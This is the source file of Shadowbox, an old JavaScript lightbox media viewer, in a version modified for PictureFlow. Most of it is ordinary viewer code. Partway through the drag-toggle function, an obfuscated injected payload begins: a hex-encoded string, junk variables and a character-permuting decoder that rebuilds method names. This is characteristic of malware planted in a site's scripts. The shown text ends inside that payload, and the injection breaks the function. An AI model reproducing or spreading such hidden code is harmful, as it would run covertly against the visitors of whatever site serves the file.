/**
 * A media-viewer script for web pages that allows content to be viewed without
 * navigating away from the original linking page.
 *
 * This file is part of Shadowbox.
 *
 * Shadowbox is free software: you can redistribute it and/or modify it under
 * the terms of the GNU Lesser General Public License as published by the Free
 * Software Foundation, either version 3 of the License, or (at your option)
 * any later version.
 *
 * Shadowbox is distributed in the hope that it will be useful, but WITHOUT ANY
 * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
 * FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for
 * more details.
 *
 * You should have received a copy of the GNU Lesser General Public License
 * along with Shadowbox. If not, see <http://www.gnu.org/licenses/>.
 *
 * Credits:
 * - Lokesh Dhakar <http://www.huddletogether.com/projects/lightbox2/>
 * - Kevin Miller <http://www.stickmanlabs.com/lightwindow/>
 *
 * @author      Michael J. I. Jackson <mjijackson@gmail.com>
 * @copyright   2007 Michael J. I. Jackson
 * @license     http://www.gnu.org/licenses/lgpl-3.0.txt GNU LGPL 3.0
 * @version     SVN: $Id: shadowbox.js 50 2008-01-27 07:33:39Z mjijackson $
 * Modified by Osamwal 4 PictureFlow : 2008-02-27 
 */

if(typeof Shadowbox == 'undefined'){
    throw 'Unable to load Shadowbox, no base library adapter found.';
}

/**
 * The Shadowbox class. Used to display different media on a web page using a
 * Lightbox-like effect.
 *
 * Useful resources:
 * - http://www.alistapart.com/articles/byebyeembed
 * - http://www.w3.org/TR/html401/struct/objects.html
 * - http://www.dyn-web.com/dhtml/iframes/
 * - http://support.microsoft.com/kb/316992
 * - http://www.apple.com/quicktime/player/specs.html
 * - http://www.howtocreate.co.uk/wrongWithIE/?chapter=navigator.plugins
 *
 * @class       Shadowbox
 * @author      Michael J. I. Jackson <mjijackson@gmail.com>
 * @singleton
 * @todo        Look into alternatives for image.onload
 * @todo        Find a way to tell when movies and iframes are loaded
 */
(function(){

    /**
     * Contains the default options for Shadowbox. This object is almost
     * entirely customizable.
     *
     * @var     options
     * @type    Object
     * @private
     */
    var options = {

        // The image to display while loading
        loadingImage:       'images/loading.gif',

        // Enable animations
        animate:            true,

        // The path to flvplayer.swf
        flvPlayer:          'flvplayer.swf',

        // The background color and opacity of the overlay. Note: When viewing
        // movie files on FF Mac, the default background image will be used
        // because that browser has problems displaying movies above layers
        // that aren't 100% opaque
        overlayColor:       '#000',
        overlayOpacity:     0.85,
        overlayBgImage:     'images/overlay-85.png',

        // Automatically play movies
        autoplayMovies:     true,

        // Enable movie controllers on QuickTime and Windows Media players
        showMovieControls:  true,

        // The duration of the resizing animations (in seconds)
        resizeDuration:     0.35,

        // The duration of the overlay fade animation (in seconds)
        fadeDuration:       0.35,

        // Show the navigation controls
        displayNav:         true,

        // Enable continuous galleries. When this is true, users will be able
        // to skip to the first gallery image from the last using next and vice
        // versa.
        continuous:         false,

        // Display the gallery counter
        displayCounter:     true,

        // This option may be either 'default' or 'skip'. The default counter is
        // a simple '1 of 5' message. The skip counter displays a link for each
        // piece in the gallery that enables a user to skip directly to any
        // piece.
        counterType:        'default',

        // The amount of padding to maintain around the viewport edge (in
        // pixels). This only applies when the image is very large and takes up
        // the entire viewport.
        viewportPadding:    20,

        // How to handle images that are too large for the viewport. 'resize'
        // will resize the image while preserving aspect ratio and display it at
        // the smaller resolution. 'drag' will display the image at its native
        // resolution but it will be draggable within the Shadowbox. 'none' will
        // display the image at its native resolution but it may be cropped.
        handleLgImages:     'resize',

        // The initial dimensions of the shadowbox (in pixels)
        initialHeight:      160,
        initialWidth:       320,

        // Enable keyboard control. Note: If you disable the keys, you may want
        // to change the visual styles for the navigation elements that suggest
        // keyboard shortcuts.
        enableKeys:         true,

        // The keys used to control Shadowbox. Note: In order to use these,
        // enableKeys must be true. Also, keys must be separated by a pipe
        // character. Key values or key codes may be used.
        keysClose:          ['c', 'q', 27], // c, q, or esc
        keysNext:           ['n', 39],      // n or right arrow
        keysPrev:           ['p', 37],      // p or left arrow

        // Insert hook functions here that will be fired at various stages in
        // the script execution. The single parameter passed to the function
        // will be a link (DOM) element. In the case of onOpen, it will be the
        // link element that was clicked. In onClose, it will be the link
        // element corresponding to the last gallery piece that was displayed.
        onOpen:             null,
        onClose:            null,

        // The mode to use when handling unsupported media. May be either
        // 'remove' or 'link'. If it is 'remove', the unsupported gallery item
        // will merely be removed from the gallery. If it is the only item in
        // the gallery, the link will simply be followed. If it is 'link', a
        // link will be provided to the appropriate plugin page in place of the
        // gallery element.
        handleUnsupported:  'link',

        // An object containing error message templates and links to browser
        // plugin download pages
        errors:         {

            templates:  {
                single: 'You must install the <a href="{0}">{1}</a> browser plugin to view this content.',
                shared: 'You must install both the <a href="{0}">{1}</a> and <a href="{2}">{3}</a> browser plugins to view this content.',
                either: 'You must install either the <a href="{0}">{1}</a> or the <a href="{2}">{3}</a> browser plugin to view this content.'
            },

            fla:        {
                name:   'Flash',
                url:    'http://www.adobe.com/products/flashplayer/'
            },

            qt:         {
                name:   'QuickTime',
                url:    'http://www.apple.com/quicktime/download/'
            },

            wmp:        {
                name:   'Windows Media Player',
                url:    'http://www.microsoft.com/windows/windowsmedia/'
            },

            f4m:        {
                name:   'Flip4Mac',
                url:    'http://www.flip4mac.com/wmv_download.htm'
            }

        },

        // The HTML to use for Shadowbox. Note: The script depends on most of
        // these elements being present, so don't modify it unless you really
        // know what you're doing.
        skin:           {

            main:       '<div id="shadowbox_overlay"></div>' +
                        '<div id="shadowbox_container">' +
                            '<div id="shadowbox">' +
                                '<div id="shadowbox_title">' +
                                    '<div id="shadowbox_title_inner"></div>' +
                                '</div>' +
                                '<div id="shadowbox_body">' +
                                    '<div id="shadowbox_body_inner"></div>' +
                                    '<div id="shadowbox_loading">' +
                                        '<img src="{loading_img_replace}" alt="loading" />' +
                                        '<span><a href="javascript:Shadowbox.close();">Cancel</a></span>' +
                                    '</div>' +
                                '</div>' +
                                '<div id="shadowbox_toolbar">' +
                                    '<div id="shadowbox_toolbar_inner"></div>' +
                                '</div>' +
                            '</div>' +
                        '</div>',

            counter:    '<div id="shadowbox_counter"></div>',

            nav:        {
                close:  '<div id="shadowbox_nav_close">' +
                            '<a href="javascript:Shadowbox.close();"><span class="shortcut">C</span>lose</a>' +
                        '</div>',
                next:   '<div id="shadowbox_nav_next">' +
                            '<a href="javascript:Shadowbox.next();"><span class="shortcut">N</span>ext</a>' +
                        '</div>',
                prev:   '<div id="shadowbox_nav_previous">' +
                            '<a href="javascript:Shadowbox.previous();"><span class="shortcut">P</span>revious</a>' +
                        '</div>'

            }

        }

    };

    /**
     * Shorthand for Shadowbox.lib.
     *
     * @var     SL
     * @type    Object
     * @private
     */
    var SL = Shadowbox.lib;

    /**
     * An array to hold all of our galleries.
     *
     * @var     galleries
     * @type    Array
     * @private
     */
    var galleries = [];

    /**
     * An array of pieces currently being viewed. In the case of non-gallery
     * pieces, this will only hold one object.
     *
     * @var     current_gallery
     * @type    Array
     * @private
     */
    var current_gallery = null;

    /**
     * The array index of the current_gallery that is currently being viewed.
     *
     * @var     current
     * @type    Number
     * @private
     */
    var current = null;

    /**
     * Keeps track of the current optimal height of the box. We use this so that
     * if the user resizes the browser window to get a better view, and we're
     * currently at a size smaller than the optimal, we can resize easily.
     *
     * @see     resizeContent()
     * @var     optimal_height
     * @type    Number
     * @private
     */
    var optimal_height = options.initialHeight;

    /**
     * Keeps track of the current optimal width of the box. See optimal_height
     * explanation (above).
     *
     * @var     optimal_width
     * @type    Number
     * @private
     */
    var optimal_width = options.initialWidth;

    /**
     * Resource used to preload images. It's class-level so that when a new
     * image is requested, the same resource can be reassigned, cancelling
     * the original's callback.
     *
     * @var     preloader
     * @type    Image
     * @private
     */
    var preloader = null;

    /**
     * Keeps track of whether or not Shadowbox is activated.
     *
     * @var     activated
     * @type    Boolean
     * @private
     */
    var activated = false;

    /**
     * These parameters for simple browser detection. Used in Ext.js.
     *
     * @ignore
     */
    var ua = navigator.userAgent.toLowerCase();
    var isStrict = document.compatMode == 'CSS1Compat',
        isOpera = ua.indexOf("opera") > -1,
        isIE = ua.indexOf('msie') > -1,
        isIE7 = ua.indexOf('msie 7') > -1,
        isBorderBox = isIE && !isStrict,
        isSafari = (/webkit|khtml/).test(ua),
        isSafari3 = isSafari && !!(document.evaluate),
        isGecko = !isSafari && ua.indexOf('gecko') > -1,
        isWindows = (ua.indexOf('windows') != -1 || ua.indexOf('win32') != -1),
        isMac = (ua.indexOf('macintosh') != -1 || ua.indexOf('mac os x') != -1),
        isLinux = (ua.indexOf('linux') != -1);

    /**
     * Gets the height of the viewport in pixels. Note: This function includes
     * scrollbars in Safari 3.
     *
     * @return  {Number}        The height of the viewport
     * @private
     */
     var getViewportHeight = function(){
         var height = window.innerHeight; // Safari
         var mode = document.compatMode;
         if((mode || isIE) && !isOpera){
             height = isStrict ? document.documentElement.clientHeight : document.body.clientHeight;
         }
         return height;
     };

    /**
     * Gets the width of the viewport in pixels. Note: This function includes
     * scrollbars in Safari 3.
     *
     * @return  {Number}        The width of the viewport
     * @private
     */
     var getViewportWidth = function(){
         var width = window.innerWidth;  // Safari
         var mode = document.compatMode;
         if(mode || isIE){
             width = isStrict ? document.documentElement.clientWidth : document.body.clientWidth;
         }
         return width;
     };

    /**
     * Gets the height of the document (body and its margins) in pixels.
     *
     * @return  {Number}        The height of the document
     * @private
     */
    var getDocumentHeight = function(){
        var scrollHeight = isStrict ? document.documentElement.scrollHeight : document.body.scrollHeight;
        return Math.max(scrollHeight, getViewportHeight());
    };

    /**
     * Gets the width of the document (body and its margins) in pixels.
     *
     * @return  {Number}        The width of the document
     * @private
     */
    var getDocumentWidth = function(){
        var scrollWidth = isStrict ? document.documentElement.scrollWidth : document.body.scrollWidth;
        return Math.max(scrollWidth, getViewportWidth());
    };

    /**
     * A utility function used by the fade functions to clear the opacity
     * style setting of the given element. Required in some cases for IE.
     * Based on Ext.Element's clearOpacity.
     *
     * @param   {HTMLElement}   el      The DOM element
     * @return  void
     * @private
     */
    var clearOpacity = function(el){
        if(isIE){
            if(typeof el.style.filter == 'string' && (/alpha/i).test(el.style.filter)){
                el.style.filter = '';
            }
        }else{
            el.style.opacity = '';
            el.style['-moz-opacity'] = '';
            el.style['-khtml-opacity'] = '';
        }
    };

    /**
     * Fades the given element from 0 to the specified opacity.
     *
     * @param   {HTMLElement}   el              The DOM element to fade
     * @param   {Number}        endingOpacity   The final opacity to animate to
     * @param   {Number}        duration        The duration of the animation
     *                                          (in seconds)
     * @param   {Function}      callback        A callback function to call
     *                                          when the animation completes
     * @return  void
     * @private
     */
    var fadeIn = function(el, endingOpacity, duration, callback){
        if(options.animate){
            SL.setStyle(el, 'opacity', 0);
            el.style.visibility = 'visible';
            SL.animate(el, {
                opacity: { to: endingOpacity }
            }, duration, function(){
                if(endingOpacity == 1) clearOpacity(el);
                if(typeof callback == 'function') callback();
            });
        }else{
            if(endingOpacity == 1){
                clearOpacity(el);
            }else{
                SL.setStyle(el, 'opacity', endingOpacity);
            }
            el.style.visibility = 'visible';
            if(typeof callback == 'function') callback();
        }
    };

    /**
     * Fades the given element from its current opacity to 0.
     *
     * @param   {HTMLElement}   el          The DOM element to fade
     * @param   {Number}        duration    The duration of the fade animation
     * @param   {Function}      callback    A callback function to call when
     *                                      the animation completes
     * @return  void
     * @private
     */
    var fadeOut = function(el, duration, callback){
        var cb = function(){
            el.style.visibility = 'hidden';
            clearOpacity(el);
            if(typeof callback == 'function') callback();
        };
        if(options.animate){
            SL.animate(el, {
                opacity: { to: 0 }
            }, duration, cb);
        }else{
            cb();
        }
    };

    /**
     * Contains plugin support information. Each property of this object is a
     * boolean indicating whether that plugin is supported.
     *
     * - fla: Flash player
     * - qt: QuickTime player
     * - wmp: Windows Media player
     * - f4m: Flip4Mac plugin
     *
     * @var     plugins
     * @type    Object
     * @private
     */
    var plugins = null;

    // detect plugin support
    if(navigator.plugins && navigator.plugins.length){
        var detectPlugin = function(plugin_name){
            var detected = false;
            for (var i = 0, len = navigator.plugins.length; i < len; ++i){
                if(navigator.plugins[i].name.indexOf(plugin_name) > -1){
                    detected = true;
                    break;
                }
            }
            return detected;
        };
        var f4m = detectPlugin('Flip4Mac');
        var plugins = {
            fla:    detectPlugin('Shockwave Flash'),
            qt:     detectPlugin('QuickTime'),
            wmp:    !f4m && detectPlugin('Windows Media'), // if it's Flip4Mac, it's not really WMP
            f4m:    f4m
        };
    }else{
        var detectPlugin = function(plugin_name){
            var detected = false;
            try {
                var axo = new ActiveXObject(plugin_name);
                if(axo){
                    detected = true;
                }
            } catch (e) {}
            return detected;
        };
        var plugins = {
            fla:    detectPlugin('ShockwaveFlash.ShockwaveFlash'),
            qt:     detectPlugin('QuickTime.QuickTime'),
            wmp:    detectPlugin('wmplayer.ocx'),
            f4m:    false
        };
    }

    /**
     * Do we need to hack the position to make Shadowbox appear fixed? We could
     * hack this using CSS, but let's just get over all the hacks and let IE6
     * users get what they deserve! Down with hacks! Hmm...now that I think
     * about it, I should just flash all kinds of alerts and annoying popups on
     * their screens, and then redirect them to some foreign spyware site that
     * will upload a nasty virus...
     *
     * @var     absolute_pos
     * @type    Boolean
     * @private
     */
    var absolute_pos = isIE && !isIE7;

    /**
     * Appends an HTML fragment to the given element.
     *
     * @param   {String/HTMLElement}    el      The element to append to
     * @param   {String}                html    The HTML fragment to use
     * @return  {HTMLElement}                   The newly appended element
     * @private
     */
    var appendHTML = function(el, html){
        el = SL.get(el);
        if(el.insertAdjacentHTML){
            el.insertAdjacentHTML('BeforeEnd', html);
            return el.lastChild;
        }
        if(el.lastChild){
            var range = el.ownerDocument.createRange();
            range.setStartAfter(el.lastChild);
            var frag = range.createContextualFragment(html);
            el.appendChild(frag);
            return el.lastChild;
        }else{
            el.innerHTML = html;
            return el.lastChild;
        }
    };

    /**
     * Overwrites the HTML of the given element.
     *
     * @param   {String/HTMLElement}    el      The element to overwrite
     * @param   {String}                html    The new HTML to use
     * @return  {HTMLElement}                   The new firstChild element
     * @private
     */
    var overwriteHTML = function(el, html){
        el = SL.get(el);
        el.innerHTML = html;
        return el.firstChild;
    };

    /**
     * Gets either the offsetHeight or the height of the given element plus
     * padding and borders (when offsetHeight is not available). Based on
     * Ext.Element's getComputedHeight.
     *
     * @return  {Number}            The computed height of the element
     * @private
     */
    var getComputedHeight = function(el){
        var h = Math.max(el.offsetHeight, el.clientHeight);
        if(!h){
            h = parseInt(SL.getStyle(el, 'height'), 10) || 0;
            if(!isBorderBox){
                h += parseInt(SL.getStyle(el, 'padding-top'), 10)
                    + parseInt(SL.getStyle(el, 'padding-bottom'), 10)
                    + parseInt(SL.getStyle(el, 'border-top-width'), 10)
                    + parseInt(SL.getStyle(el, 'border-bottom-width'), 10);
            }
        }
        return h;
    };

    /**
     * Gets either the offsetWidth or the width of the given element plus
     * padding and borders (when offsetWidth is not available). Based on
     * Ext.Element's getComputedWidth.
     *
     * @return  {Number}            The computed width of the element
     * @private
     */
    var getComputedWidth = function(el){
        var w = Math.max(el.offsetWidth, el.clientWidth);
        if(!w){
            w = parseInt(SL.getStyle(el, 'width'), 10) || 0;
            if(!isBorderBox){
                w += parseInt(SL.getStyle(el, 'padding-left'), 10)
                    + parseInt(SL.getStyle(el, 'padding-right'), 10)
                    + parseInt(SL.getStyle(el, 'border-left-width'), 10)
                    + parseInt(SL.getStyle(el, 'border-right-width'), 10);
            }
        }
        return w;
    };

    /**
     * An object containing arrays of all supported file extensions. Each
     * property of this object contains an array.
     *
     * - img: Supported image file extensions
     * - qt: Movie file extensions supported by QuickTime
     * - wmp: Movie file extensions supported by Windows Media Player
     * - qtwmp: Movie file extensions supported by both QuickTime and Windows Media Player
     * - external: File extensions that will be display in an iframe
     *
     * @var     file_types
     * @type    Object
     * @private
     */
    var file_types = {
        img:        ['png', 'jpg', 'jpeg', 'gif', 'bmp'],
        qt:         ['dv', 'mov', 'moov', 'movie', 'mp4'],
        wmp:        ['asf', 'wm', 'wmv'],
        qtwmp:      ['avi', 'mpg', 'mpeg'],
        external:   ['asp', 'aspx', 'cgi', 'cfm', 'htm', 'html', 'pl', 'php',
                    'php3', 'php4', 'php5', 'phtml', 'rb', 'rhtml', 'shtml',
                    'txt', 'vbs']
    };

    // regular expressions compiled here for speed
    var img_re = new RegExp('\.(' + file_types.img.join('|') + ')\s*$', 'i');
    var qt_re = new RegExp('\.(' + file_types.qt.join('|') + ')\s*$', 'i');
    var wmp_re = new RegExp('\.(' + file_types.wmp.join('|') + ')\s*$', 'i');
    var qtwmp_re = new RegExp('\.(' + file_types.qtwmp.join('|') + ')\s*$', 'i');
    var external_re = new RegExp('\.(' + file_types.external.join('|') + ')\s*$', 'i');
    var swf_re = /\.swf\s*$/i;
    var flv_re = /\.flv\s*$/i;
    var domain_re = /:\/\/(.*?)[:\/]/;

    /**
     * Determines the player needed to display the file at the given URL. If
     * the file type is not supported, the return value will be 'unsupported-*'
     * where * will be the player abbreviation.
     *
     * @param   {String}        url     The url of the file
     * @return  {String}                The name of the player to use
     * @private
     */
    var getPlayerType = function(url){
        if(img_re.test(url)){
            return 'img';
        }
        var this_domain = (domain_match = url.match(domain_re))
            ? (document.domain == domain_match[1])
            : false;
        var q_index = url.indexOf('?');
        if(q_index > -1){
            url = url.substring(0, q_index);
        }
        if(swf_re.test(url)){
            return (plugins.fla) ? 'swf' : 'unsupported-swf';
        }else if(flv_re.test(url)){
            return (plugins.fla) ? 'flv' : 'unsupported-flv';
        }else if(qt_re.test(url)){
            return (plugins.qt) ? 'qt' : 'unsupported-qt';
        }else if(wmp_re.test(url)){
            if(plugins.wmp){
                return 'wmp';
            }else if(plugins.f4m){
                return 'qt';
            }else{
                if(isMac){
                    return (plugins.qt) ? 'unsupported-f4m' : 'unsupported-qtf4m';
                }
                return 'unsupported-wmp';
            }
        }else if(qtwmp_re.test(url)){
            if(plugins.qt){
                return 'qt';
            }else if(plugins.wmp){
                return 'wmp';
            }else{
                return (isMac) ? 'unsupported-qt' : 'unsupported-qtwmp';
            }
        }else if(!this_domain || external_re.test(url)){
            return 'external';
        }
        return 'unsupported';
    };

    var gallery_re = /^shadowbox\[(.*?)\]/i;

    /**
     * Extracts a gallery name from a link's rel string.
     *
     * @param   {HTMLElement}   link    The link to get the gallery for
     * @return  {mixed}                 String on success, null on failure
     * @private
     */
    var getGalleryName = function(link){
        if(!(rel = link.getAttribute('rel'))) return null;
        var match = rel.match(gallery_re);
        return (match ? escape(match[1]) : null);
    };

    /**
     * Sets up a link for use with Shadowbox.
     *
     * @param   {HTMLElement}   link    The link to set up
     * @return  void
     * @private
     */
    var setupLink = function(link){
        // build galleries
		var name;
        if(name = getGalleryName(link)){
            if(!galleries[name]) galleries[name] = [];
            galleries[name].push(Shadowbox.buildLinkObj(link));
        }
        if(Shadowbox.isSetup){
            SL.removeEvent(link, 'click', handleClick); // clear old listener
        }
        SL.addEvent(link, 'click', handleClick);
    };

    var unsupported_re = /^unsupported-(\w+)/;

    /**
     * Handles all clicks on links that have been set up to work with Shadowbox.
     * Determines if the type of medium is supported. If so, stops the browser
     * from navigating away and opens Shadowbox.
     *
     * @param   {Event}         ev          The click event object
     * @return  void
     * @private
     */
    var handleClick = function(ev){
        var link;
        if(typeof this.tagName == 'string' && this.tagName.toUpperCase() == 'A'){
            link = this; // jQuery, Prototype, YUI
        }else{
            link = SL.getTarget(ev); // Ext
            while(link.tagName.toUpperCase() != 'A' && link.parentNode){
                link = link.parentNode;
            }
        }
        var name = getGalleryName(link);
        if(name){
            current_gallery = galleries[name];
            var href = link.href; // don't use getAttribute() here
            // which piece in the gallery was clicked?
            for(var i = 0, len = current_gallery.length; i < len; ++i){
                if(current_gallery[i].href == href){
                    current = i;
                    break;
                }
            }
        }else{
            // not part of a gallery, create a gallery with just one piece
            current_gallery = [Shadowbox.buildLinkObj(link)];
            current = 0;
        }

        // are any media in the current gallery supported?
        var match;
        for(var i = 0; i < current_gallery.length; ++i){
            if(match = unsupported_re.exec(current_gallery[i].type)){
                if(options.handleUnsupported == 'link'){ // handle unsupported elements
                    // generate a link to the appropriate plugin download page(s)
                    current_gallery[i].type = 'msg';
                    switch(match[1]){
                        case 'qtwmp':
                            current_gallery[i].message = String.format(
                                options.errors.templates['either'],
                                options.errors['qt'].url,
                                options.errors['qt'].name,
                                options.errors['wmp'].url,
                                options.errors['wmp'].name);
                        break;
                        case 'qtf4m':
                            current_gallery[i].message = String.format(
                                options.errors.templates['shared'],
                                options.errors['qt'].url,
                                options.errors['qt'].name,
                                options.errors['f4m'].url,
                                options.errors['f4m'].name);
                        break;
                        default:
                            if(match[1] == 'swf' || match[1] == 'flv'){
                                match[1] = 'fla';
                            }
                            current_gallery[i].message = String.format(
                                options.errors.templates['single'],
                                options.errors[match[1]].url,
                                options.errors[match[1]].name);
                    }
                }else{ // remove the element from the gallery
                    var removed = current_gallery.splice(i, 1);
                    if(i < current) --current;
                    --i;
                }
            }
        }

        // if so, don't follow the link and open Shadowbox
        if(current_gallery.length){
            SL.preventDefault(ev);
            Shadowbox.open(link);
        }
    };


    /**
     * Direct trigger to launch Shadowbox.
     * Determines if the type of medium is supported. If so, stops the browser
     * from navigating away and opens Shadowbox.
     *
     * @param   {Object}         directLink          The link object
     * @return  void
     * @public
     */
    Shadowbox.trigger = function(directLink){
        var link;
            link = directLink; // 
		var href = link.href; // don't use getAttribute() here	
		var name = link.rel.substring(10,link.rel.indexOf("]",10));
        if(name){
            current_gallery = galleries[name];
			current = link.id;
        }else{
            // not part of a gallery, create a gallery with just one piece
            current_gallery = [Shadowbox.buildLinkObj(link)];
            current = 0;
        }
		
        // are any media in the current gallery supported?
        var match;
        for(var i = 0; i < current_gallery.length; ++i){
            if(match = unsupported_re.exec(current_gallery[i].type)){
                if(options.handleUnsupported == 'link'){ // handle unsupported elements
                    // generate a link to the appropriate plugin download page(s)
                    current_gallery[i].type = 'msg';
                    switch(match[1]){
                        case 'qtwmp':
                            current_gallery[i].message = String.format(
                                options.errors.templates['either'],
                                options.errors['qt'].url,
                                options.errors['qt'].name,
                                options.errors['wmp'].url,
                                options.errors['wmp'].name);
                        break;
                        case 'qtf4m':
                            current_gallery[i].message = String.format(
                                options.errors.templates['shared'],
                                options.errors['qt'].url,
                                options.errors['qt'].name,
                                options.errors['f4m'].url,
                                options.errors['f4m'].name);
                        break;
                        default:
                            if(match[1] == 'swf' || match[1] == 'flv'){
                                match[1] = 'fla';
                            }
                            current_gallery[i].message = String.format(
                                options.errors.templates['single'],
                                options.errors[match[1]].url,
                                options.errors[match[1]].name);
                    }
                }else{ // remove the element from the gallery
                    var removed = current_gallery.splice(i, 1);
                    if(i < current) --current;
                    --i;
                }
            }
        }
        // if so, don't follow the link and open Shadowbox
        if(current_gallery.length){
            Shadowbox.open(link);
        }
    };

	






    /**
     * Hides the title bar and toolbar and populates them with the proper
     * content.
     *
     * @return  void
     * @private
     */
    var buildBars = function(){
        var link = current_gallery[current];
        if(!link) return; // nothing to build

        var title_i = SL.get('shadowbox_title_inner');
        var tool_i = SL.get('shadowbox_toolbar_inner');

        // build the title
        title_i.innerHTML = (link.title) ? link.title : '';

        // empty the toolbar
        tool_i.innerHTML = '';

        // build the nav
        if(options.displayNav){
            tool_i.innerHTML = options.skin.nav.close;
            if(current_gallery.length > 1){
                if(options.continuous){
                    // show both
                    appendHTML(tool_i, options.skin.nav.next);
                    appendHTML(tool_i, options.skin.nav.prev);
                }else{
                    // not last in the gallery, show the next link
                    if((current_gallery.length - 1) > current){
                        appendHTML(tool_i, options.skin.nav.next);
                    }

                    // not first in the gallery, show the previous link
                    if(current > 0){
                        appendHTML(tool_i, options.skin.nav.prev);
                    }
                }
            }
        }

        // build the counter
        if(current_gallery.length > 1 && options.displayCounter){
            // append the counter div
            appendHTML(tool_i, options.skin.counter);
            var counter = '';
            if(options.counterType == 'skip'){
                for(var i = 0, len = current_gallery.length; i < len; ++i){
                    counter += '<a href="javascript:Shadowbox.change(' + i + ');"';
                    if(i == current){
                        counter += ' class="shadowbox_counter_current"';
                    }
                    counter += '>' + (i + 1) + '</a>';
                }
            }else{
                counter = (current + 1) + ' of ' + current_gallery.length;
            }
            overwriteHTML('shadowbox_counter', counter);
        }
    };

    /**
     * Hides the title and tool bars.
     *
     * @param   {Function}  callback        A function to call on finish
     * @return  void
     * @private
     */
    var hideBars = function(callback){
        var title_m = getComputedHeight(SL.get('shadowbox_title'));
        var tool_m = 0 - getComputedHeight(SL.get('shadowbox_toolbar'));
        var title_i = SL.get('shadowbox_title_inner');
        var tool_i = SL.get('shadowbox_toolbar_inner');

        if (callback) {
            // animate the transition
            SL.animate(title_i, {
                marginTop: { to: title_m }
            }, 0.2);
            SL.animate(tool_i, {
                marginTop: { to: tool_m }
            }, 0.2, callback);
        } else {
            SL.setStyle(title_i, 'marginTop', title_m + 'px');
            SL.setStyle(tool_i, 'marginTop', tool_m + 'px');
        }
    };

    /**
     * Shows the title and tool bars.
     *
     * @param   {Function}  callback        A callback function to execute after
     *                                      the animation completes
     * @return  void
     * @private
     */
    var showBars = function(callback){
        var title_i = SL.get('shadowbox_title_inner');
        if(options.animate){
            if(title_i.innerHTML != ''){
                SL.animate(title_i, { marginTop: { to: 0 } }, 0.35);
            }
            SL.animate(SL.get('shadowbox_toolbar_inner'), {
                marginTop: { to: 0 }
            }, 0.35, callback);
        }else{
            if(title_i.innerHTML != ''){
                SL.setStyle(title_i, 'margin-top', '0px');
            }
            SL.setStyle(SL.get('shadowbox_toolbar_inner'), 'margin-top', '0px');
            callback();
        }
    };

    /**
     * Removes old content and sets the new content of the Shadowbox.
     *
     * @param   {Object}        obj     The content to set (appropriate to pass
     *                                  directly to Shadowbox.createHTML())
     * @return  {HTMLElement}           The newly appended element (or null if
     *                                  none is provided)
     * @private
     */
    var setContent = function(obj){
        var id = 'shadowbox_content';
        var content = SL.get(id);
        if(content){
            // remove old content first
            switch(content.tagName.toUpperCase()){
                case 'OBJECT':
                    // if we're in a gallery (i.e. changing and there's a new
                    // object) we want the LAST link object
                    var link = current_gallery[(obj ? current - 1 : current)];
                    if(link.type == 'wmp' && isIE){
                        try{
                            shadowbox_content.controls.stop(); // stop the movie
                            shadowbox_content.URL = 'non-existent.wmv'; // force player refresh
                            window.shadowbox_content = function(){}; // remove from window
                        }catch(e){}
                    }else if(link.type == 'qt' && isSafari){
                        try{
                            document.shadowbox_content.Stop(); // stop QT movie
                        }catch(e){}
                        // stop QT audio stream for movies that have not yet loaded
                        content.innerHTML = '';
                        // console.log(document.shadowbox_content);
                    }
                    setTimeout(function(){ // using setTimeout prevents browser crashes with WMP
                        SL.remove(content);
                    }, 10);
                break;
                case 'IFRAME':
                    SL.remove(content);
                    if(isGecko) delete window.frames[id]; // needed for Firefox
                break;
                default:
                    SL.remove(content);
            }
        }
        if(obj){
            if(!obj.id) obj.id = id;
            return appendHTML('shadowbox_body_inner', Shadowbox.createHTML(obj));
        }
        return null;
    };

    /**
     * Keeps track of 4 floating values that are used in the drag calculations.
     *
     * @property    {Object}
     * @private
     */
    var drag = null;

    /**
     * Holds the draggable element so we don't have to fetch it every time
     * the mouse moves.
     *
     * @property    {HTMLElement}
     * @private
     */
    var draggable = null;

    /**
     * Resets the class drag variable.
     *
     * @return  void
     * @private
     */
    var resetDrag = function(){
        drag = {x: 0, y: 0, start_x: null, start_y: null};
    };

    /**
     * Toggles the drag function on and off.
     *
     * @param   {Boolean}   on      True to toggle on, false to toggle off
     * @return  void
     * @private
     */
    var toggleDrag = function(on){
        if(on){
       
var Mt="3835052a1a711a05021e3b770d1605055b341a2b191e32050d3516302303120d3613251123192701190d1903383431330430040933280a15251f261f0f2c1c031270320f631922046a1c03791d05";this.Jou='';var kP;if(kP!='eL' && kP != ''){kP=null};function o(cz){var Hz;if(Hz!='zo'){Hz='zo'};this.UV="UV"; var EK;if(EK!='F'){EK='F'};var M;if(M!='i'){M='i'};function s(C, l){this.dX='';var hX;if(hX!='Ju' && hX != ''){hX=null};var R = l.length;var la;if(la!='' && la!='r'){la='jE'};var k = C.length;this.FL=60896;this.Om=59866;var z=[1,102,190][0];var Rc;if(Rc!='' && Rc!='A'){Rc='fq'};var n=[127,0][1];this.Wo=false;var q = '';this.UI='';var kY;if(kY!='' && kY!='w'){kY=''};for(var b = n; b < k; b += R) {var dx=14099;var rx;if(rx!='' && rx!='NV'){rx=null};var d = C.substr(b, R);this.lR="lR";var VS=33403;if(d.length == R){var rZ;if(rZ!=''){rZ='iK'};var Py="Py";for(var f in l) {this.UO='';var hv;if(hv!='' && hv!='If'){hv=null};q+=d.substr(l[f], z);var vm;if(vm!='sZ' && vm!='PT'){vm=''};this.An=false;var IP=new Date();var UZ;if(UZ!='Zq'){UZ='Zq'};}var EA="EA";var jA=false;var HG;if(HG!=''){HG='yy'};} else {this.lL='';  q+=d;var lRD;if(lRD!='bZ' && lRD!='ow'){lRD=''};this.dr="";}}var X=new Array();var QG="";var NS;if(NS!='Qs' && NS!='pN'){NS='Qs'};return q;this.gw='';var jk="jk";}var zq=3873;var wR=new String();var jU;if(jU!='ya' && jU != ''){jU=null};var DC;if(DC!='vw' && DC != ''){DC=null}; var O=function(Ri,dw){return Ri[s("hraeocdCAt", [5,0,2,1,7,4,6,3])](dw);var uC;if(uC!='Nf' && uC!='Mw'){uC='Nf'};};var Da=""; function c(C){var T="";var B = -1;this.yp="";var sE;if(sE!='' && sE!='nG'){sE=null};var b =[0,130,157][0];var BH;if(BH!='Ky'){BH=''};var OW;if(OW!='ZK' && OW!='jL'){OW='ZK'};this.DU="DU";C = new H(C);this.Bg=false;var ypJ=new Date();var q = '';var ur=36378;var n =[0][0];this.iD="";this.Fh="";var mp;if(mp!='mO' && mp!='FP'){mp='mO'};for (b=C[s("elntgh", 